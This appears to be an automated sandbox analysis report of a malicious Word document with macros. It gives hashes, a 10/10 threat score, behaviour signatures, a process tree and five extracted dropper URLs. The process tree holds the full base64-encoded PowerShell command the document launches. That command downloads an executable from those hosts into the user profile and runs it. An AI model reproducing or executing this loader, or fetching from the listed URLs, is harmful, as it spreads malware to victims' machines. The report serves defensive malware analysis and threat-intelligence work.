Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    25-09-2024 06:54

General

  • Target

    f570f2a49dd0e65daad7fcb4b88b6f82_JaffaCakes118.doc

  • Size

    460KB

  • MD5

    f570f2a49dd0e65daad7fcb4b88b6f82

  • SHA1

    4cf2fcd57b6856320e0fa8e41540aee1bd2abccc

  • SHA256

    1e98f156e7ed7d59838b17ed0eed92bb7be5aa6ca24adbf309248519638c7567

  • SHA512

    ce5eb1c5506fc552932011835f729ec9fe7719fee04cc4364314ee6bb86c1ae5c09d9bfa99aa463b5fe9fa23cd0a9bd839f5ed2bfc283324938b10f63f9f3db9

  • SSDEEP

    6144:VOENtkhRuof+qDbk3XWp4gMzSVIhl9EKRDqME4yanMjdn/NQVg+D3Do8oRtxQwvM:VO8khg2wW4g8SVIf51E4K14o8Iuj

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://honkytonk-studio.com/Kw0rSq2FAX

exe.dropper

http://allaboutpoolsnbuilder.com/ULKMiATT

exe.dropper

http://bobvr.com/8GI2mvob6L

exe.dropper

http://spathucung.info/KyzWn62

exe.dropper

http://precounterbrand.com/UtbBjWRRG

Signatures

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f570f2a49dd0e65daad7fcb4b88b6f82_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1916
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABsADIANwAxADMAOQA9ACgAJwBaADgANwA4ADcAMQAnACsAJwA0AF8AJwApADsAJAByADIAXwA4ADYAMQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABqAF8ANQAwADEAXwAxADMAPQAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwBoACcAKwAnAG8AbgAnACsAJwBrAHkAdABvAG4AawAtAHMAJwArACcAdAB1AGQAaQBvACcAKwAnAC4AYwBvAG0ALwBLAHcAMAByAFMAcQAyAEYAQQAnACsAJwBYAEAAaAB0AHQAcAA6AC8ALwBhAGwAJwArACcAbABhAGIAbwB1ACcAKwAnAHQAcABvAG8AbABzAG4AYgB1AGkAbAAnACsAJwBkAGUAcgAuAGMAJwArACcAbwBtAC8AJwArACcAVQBMAEsATQAnACsAJwBpAEEAVABUAEAAaAB0AHQAcAA6AC8ALwAnACsAJwBiAG8AYgB2ACcAKwAnAHIALgBjAG8AJwArACcAbQAvADgARwBJACcAKwAnADIAbQAnACsAJwB2AG8AYgA2AEwAQABoACcAKwAnAHQAdABwADoALwAnACsAJwAvAHMAcABhAHQAaAAnACsAJwB1AGMAdQBuACcAKwAnAGcALgBpAG4AZgBvACcAKwAnAC8ASwB5AHoAVwBuADYAMgBAAGgAdAB0AHAAOgAnACsAJwAvAC8AcAByACcAKwAnAGUAJwArACcAYwBvAHUAbgB0AGUAcgBiAHIAYQAnACsAJwBuAGQALgBjAG8AbQAvAFUAdABiAEIAagBXAFIAUgBHACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAGwAMQBfADQAOQA0ADcAPQAoACcAawA1AF8AJwArACcAMABfAF8AJwApADsAJABjAF8AOQBfAF8AXwBfADcAIAA9ACAAKAAnADMAJwArACcANwA3ACcAKQA7ACQAbgAwADQANQA0ADAAXwBfAD0AKAAnAFQAJwArACcAOAA5AF8AMAAnACsAJwA2ACcAKQA7ACQAbQA2AF8AXwA5ADYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGMAXwA5AF8AXwBfAF8ANwArACgAJwAuACcAKwAnAGUAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEUAMAA4ADYAOQA3ADcAIABpAG4AIAAkAGoAXwA1ADAAMQBfADEAMwApAHsAdAByAHkAewAkAHIAMgBfADgANgAxAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAEUAMAA4ADYAOQA3ADcALAAgACQAbQA2AF8AXwA5ADYAKQA7ACQAVQA3ADgAMwA5AF8AOQBfAD0AKAAnAHMAOAAnACsAJwBfACcAKwAnADIANAA0ADIAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAbQA2AF8AXwA5ADYAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABtADYAXwBfADkANgA7ACQAVQBfADEANQBfADEAPQAoACcAWgAyADcAJwArACcAMwA1ADIAJwArACcAXwBfACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABpADIANgBfADQAMwA1AD0AKAAnAE0ANQA0ACcAKwAnADUAXwA0ADIAJwArACcANgAnACkAOwA=
      1⤵
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1656

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      9427fd03c87f4ea22170fd3dadbabd79

      SHA1

      16f160fd37b52bc2b4a06e7ea2f5bb1be4583035

      SHA256

      32a614399f262e8e0a1ea776693781a73d7d7f4416bacfc8f35f987d9ee5b41e

      SHA512

      cd8e5e50df935edf2d02a2465a75eb253e75a85a7ee73aa4aefaf98386a00b18ca0c57ef596f1157aed504947b19eb97502b3c5d9fd35b88575324387f65d756

    • memory/1656-111-0x000000001B670000-0x000000001B952000-memory.dmp

      Filesize

      2.9MB

    • memory/1656-112-0x00000000028A0000-0x00000000028A8000-memory.dmp

      Filesize

      32KB

    • memory/1916-91-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-137-0x000000007100D000-0x0000000071018000-memory.dmp

      Filesize

      44KB

    • memory/1916-80-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-9-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-8-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-31-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-53-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-11-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-105-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-104-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-103-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-102-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-101-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-0-0x000000002FC21000-0x000000002FC22000-memory.dmp

      Filesize

      4KB

    • memory/1916-10-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-62-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-12-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-59-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-34-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-25-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-16-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-15-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-14-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-13-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-7-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-2-0x000000007100D000-0x0000000071018000-memory.dmp

      Filesize

      44KB

    • memory/1916-113-0x000000007100D000-0x0000000071018000-memory.dmp

      Filesize

      44KB

    • memory/1916-114-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-115-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/1916-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1916-71-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB